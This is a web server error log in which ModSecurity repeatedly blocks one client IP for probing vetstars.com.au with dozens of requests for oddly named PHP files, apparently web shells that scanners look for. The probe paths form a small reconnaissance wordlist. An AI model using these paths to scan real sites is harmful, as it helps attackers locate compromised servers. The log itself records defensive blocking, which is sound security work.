[Sun Apr 12 08:21:48.742138 2026] [:error] [pid 26599:tid 26612] [client 4.232.184.116:11182] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adrlnHG89LXoQbk_rwByKwAAAUo"]
[Sun Apr 12 08:21:49.920364 2026] [:error] [pid 25437:tid 25453] [client 4.232.184.116:11159] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adrlnXf97wYZje1ep_N9RgAAAM4"]
[Sun Apr 12 08:21:50.991703 2026] [:error] [pid 25328:tid 25373] [client 4.232.184.116:11187] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adrlnsxUaQZxT-e0YsAihAAAAEg"]
[Sun Apr 12 08:21:51.606471 2026] [:error] [pid 26600:tid 26633] [client 4.232.184.116:11257] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adrln-1YwAZiXhQKLYqcAQAAAYQ"]
[Sun Apr 12 08:21:52.178363 2026] [:error] [pid 26600:tid 26630] [client 4.232.184.116:11209] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/RIP.php"] [unique_id "adrloO1YwAZiXhQKLYqcBQAAAYE"]
[Sun Apr 12 08:21:52.840110 2026] [:error] [pid 26600:tid 26635] [client 4.232.184.116:11079] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/RIP.php"] [unique_id "adrloO1YwAZiXhQKLYqcDAAAAYY"]
[Sun Apr 12 08:21:53.424818 2026] [:error] [pid 26600:tid 26630] [client 4.232.184.116:11149] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/RIP.php"] [unique_id "adrloe1YwAZiXhQKLYqcEgAAAYE"]
[Sun Apr 12 08:21:54.016293 2026] [:error] [pid 25327:tid 25352] [client 4.232.184.116:11228] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/RIP.php"] [unique_id "adrloi6h2tZEVJo9JFJmIAAAABA"]
[Sun Apr 12 08:21:54.605039 2026] [:error] [pid 25327:tid 25358] [client 4.232.184.116:11229] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "adrloi6h2tZEVJo9JFJmIQAAABY"]
[Sun Apr 12 08:21:55.421712 2026] [:error] [pid 25327:tid 25351] [client 4.232.184.116:11238] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "adrloy6h2tZEVJo9JFJmJAAAAA8"]
[Sun Apr 12 08:21:56.521590 2026] [:error] [pid 26599:tid 26620] [client 4.232.184.116:11152] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "adrlpHG89LXoQbk_rwByOgAAAVI"]
[Sun Apr 12 08:21:57.712639 2026] [:error] [pid 26600:tid 26643] [client 4.232.184.116:11217] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "adrlpe1YwAZiXhQKLYqcHQAAAY4"]
[Sun Apr 12 08:21:58.829612 2026] [:error] [pid 26599:tid 26609] [client 4.232.184.116:11204] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adrlpnG89LXoQbk_rwByRwAAAUc"]
[Sun Apr 12 08:21:59.373770 2026] [:error] [pid 25329:tid 25393] [client 4.232.184.116:11144] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adrlp2dcIYsS8Iyaj11d1AAAAIo"]
[Sun Apr 12 08:21:59.997810 2026] [:error] [pid 26599:tid 26622] [client 4.232.184.116:11150] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adrlp3G89LXoQbk_rwBySwAAAVQ"]
[Sun Apr 12 08:22:00.693203 2026] [:error] [pid 25327:tid 25354] [client 4.232.184.116:11233] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adrlqC6h2tZEVJo9JFJmLwAAABI"]
[Sun Apr 12 08:22:01.531548 2026] [:error] [pid 26599:tid 26613] [client 4.232.184.116:11207] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adrlqXG89LXoQbk_rwByTwAAAUs"]
[Sun Apr 12 08:22:02.637339 2026] [:error] [pid 25327:tid 25360] [client 4.232.184.116:11226] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adrlqi6h2tZEVJo9JFJmOwAAABg"]
[Sun Apr 12 08:22:03.286765 2026] [:error] [pid 25329:tid 25411] [client 4.232.184.116:11158] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adrlq2dcIYsS8Iyaj11d2QAAAJQ"]
[Sun Apr 12 08:22:04.642189 2026] [:error] [pid 26600:tid 26653] [client 4.232.184.116:11215] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adrlrO1YwAZiXhQKLYqcIwAAAZg"]
[Sun Apr 12 08:22:05.841763 2026] [:error] [pid 26600:tid 26632] [client 4.232.184.116:11147] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "adrlre1YwAZiXhQKLYqcLAAAAYM"]
[Sun Apr 12 08:22:07.904964 2026] [:error] [pid 60280:tid 60295] [client 4.232.184.116:11235] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "adrlr3BlLnDOYuIykkgiUAAAAc0"]
[Sun Apr 12 08:22:09.353552 2026] [:error] [pid 25327:tid 25344] [client 4.232.184.116:11176] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "adrlsS6h2tZEVJo9JFJmSwAAAAg"]
[Sun Apr 12 08:22:10.452372 2026] [:error] [pid 26599:tid 26606] [client 4.232.184.116:11146] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "adrlsnG89LXoQbk_rwByYwAAAUQ"]
[Sun Apr 12 08:22:11.753144 2026] [:error] [pid 26600:tid 26652] [client 4.232.184.116:11178] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adrls-1YwAZiXhQKLYqcRwAAAZc"]
[Sun Apr 12 08:22:12.803582 2026] [:error] [pid 25327:tid 25353] [client 4.232.184.116:11247] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adrltC6h2tZEVJo9JFJmWQAAABE"]
[Sun Apr 12 08:22:14.714467 2026] [:error] [pid 26567:tid 26583] [client 4.232.184.116:11263] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adrltnhRpg6ptWFyFx0sBgAAAQ4"]
[Sun Apr 12 08:22:17.055191 2026] [:error] [pid 25327:tid 25344] [client 4.232.184.116:11183] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adrluS6h2tZEVJo9JFJmdQAAAAg"]
[Sun Apr 12 08:22:19.971825 2026] [:error] [pid 26600:tid 26644] [client 4.232.184.116:11208] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adrlu-1YwAZiXhQKLYqceQAAAY8"]
[Sun Apr 12 08:22:21.098608 2026] [:error] [pid 60280:tid 60304] [client 4.232.184.116:11153] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adrlvXBlLnDOYuIykkgiZAAAAdY"]
[Sun Apr 12 08:22:22.877711 2026] [:error] [pid 25327:tid 25355] [client 4.232.184.116:11242] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adrlvi6h2tZEVJo9JFJmqgAAABM"]
[Sun Apr 12 08:23:09.774779 2026] [:error] [pid 25328:tid 25405] [client 4.232.184.116:11148] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adrl7cxUaQZxT-e0YsAjOAAAAFc"]
[Sun Apr 12 08:23:11.421175 2026] [:error] [pid 26600:tid 26641] [client 4.232.184.116:11181] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adrl7-1YwAZiXhQKLYqcyQAAAYw"]
[Sun Apr 12 08:23:12.826725 2026] [:error] [pid 25327:tid 25340] [client 4.232.184.116:11239] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adrl8C6h2tZEVJo9JFJnSgAAAAQ"]
[Sun Apr 12 08:23:14.046784 2026] [:error] [pid 25327:tid 25336] [client 4.232.184.116:11160] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adrl8i6h2tZEVJo9JFJnUwAAAAA"]
[Sun Apr 12 08:23:15.273831 2026] [:error] [pid 25437:tid 25440] [client 4.232.184.116:11164] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adrl83f97wYZje1ep_N9lwAAAME"]
[Sun Apr 12 08:23:16.491766 2026] [:error] [pid 25327:tid 25344] [client 4.232.184.116:11249] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adrl9C6h2tZEVJo9JFJnYwAAAAg"]
[Sun Apr 12 08:23:18.525614 2026] [:error] [pid 25327:tid 25339] [client 4.232.184.116:11216] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adrl9i6h2tZEVJo9JFJncAAAAAM"]
[Sun Apr 12 08:23:19.762515 2026] [:error] [pid 26567:tid 26573] [client 4.232.184.116:11077] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adrl93hRpg6ptWFyFx0sfAAAAQQ"]
[Sun Apr 12 08:23:21.268097 2026] [:error] [pid 25327:tid 25347] [client 4.232.184.116:11165] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adrl-S6h2tZEVJo9JFJngQAAAAs"]
[Sun Apr 12 08:23:22.753219 2026] [:error] [pid 25327:tid 25345] [client 4.232.184.116:11258] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adrl-i6h2tZEVJo9JFJnigAAAAk"]
[Sun Apr 12 08:23:23.997583 2026] [:error] [pid 25327:tid 25356] [client 4.232.184.116:11140] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adrl-y6h2tZEVJo9JFJnlAAAABQ"]
[Sun Apr 12 08:23:25.554575 2026] [:error] [pid 25329:tid 25395] [client 4.232.184.116:11090] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adrl_WdcIYsS8Iyaj11eOwAAAIs"]
[Sun Apr 12 08:23:26.587734 2026] [:error] [pid 25328:tid 25375] [client 4.232.184.116:11189] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "adrl_sxUaQZxT-e0YsAjPwAAAEk"]
[Sun Apr 12 08:23:28.148871 2026] [:error] [pid 26599:tid 26608] [client 4.232.184.116:11255] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "adrmAHG89LXoQbk_rwBy0AAAAUY"]
[Sun Apr 12 08:23:28.974624 2026] [:error] [pid 25328:tid 25408] [client 4.232.184.116:11081] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "adrmAMxUaQZxT-e0YsAjSAAAAFg"]
[Sun Apr 12 08:23:29.882359 2026] [:error] [pid 25327:tid 25360] [client 4.232.184.116:11227] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "adrmAS6h2tZEVJo9JFJntQAAABg"]
[Sun Apr 12 08:23:30.919318 2026] [:error] [pid 25437:tid 25450] [client 4.232.184.116:11237] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "adrmAnf97wYZje1ep_N9oQAAAMs"]
[Sun Apr 12 08:23:31.969731 2026] [:error] [pid 26600:tid 26652] [client 4.232.184.116:11142] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "adrmA-1YwAZiXhQKLYqc2wAAAZc"]
[Sun Apr 12 08:23:32.486906 2026] [:error] [pid 26599:tid 26606] [client 4.232.184.116:11136] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "adrmBHG89LXoQbk_rwBy3wAAAUQ"]
[Sun Apr 12 08:23:33.040800 2026] [:error] [pid 26599:tid 26616] [client 4.232.184.116:11146] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "adrmBXG89LXoQbk_rwBy4gAAAU4"]
[Sun Apr 12 08:23:33.910112 2026] [:error] [pid 25327:tid 25341] [client 4.232.184.116:11171] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adrmBS6h2tZEVJo9JFJnwQAAAAU"]
[Sun Apr 12 08:23:34.751679 2026] [:error] [pid 25327:tid 25360] [client 4.232.184.116:11262] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adrmBi6h2tZEVJo9JFJnxgAAABg"]
[Sun Apr 12 08:23:36.118681 2026] [:error] [pid 25329:tid 25400] [client 4.232.184.116:11098] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adrmCGdcIYsS8Iyaj11eSQAAAI4"]
[Sun Apr 12 08:23:37.283341 2026] [:error] [pid 26599:tid 26604] [client 4.232.184.116:11093] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "adrmCXG89LXoQbk_rwBy7QAAAUI"]
[Sun Apr 12 08:23:38.000104 2026] [:error] [pid 26567:tid 26570] [client 4.232.184.116:11080] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adrmCXhRpg6ptWFyFx0slQAAAQE"]
